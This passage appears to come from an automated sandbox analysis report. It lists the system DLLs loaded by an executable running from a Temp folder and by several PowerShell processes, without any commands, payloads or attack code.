      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: kbdus.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: napinsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: pnrpnsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: wshbth.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winrnr.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: windows.ui.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: windowmanagementapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: inputhost.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: twinapi.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: twinapi.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: wtsapi32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winsta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mmdevapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: devobj.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mscms.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: coloradapterclient.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\System32\chcp.comSection loaded: ulib.dllJump to behavior
      Source: C:\Windows\System32\chcp.comSection loaded: fsutilext.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: ffmpeg.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: uiautomationcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dwrite.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dxgi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: resourcepolicyclient.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mf.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mfplat.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: rtworkq.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: msmpeg2vdec.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mfperfhelper.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dxva2.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: msvproc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: ffmpeg.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: uiautomationcore.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dbghelp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winmm.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dwrite.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dhcpcsvc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: kbdus.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
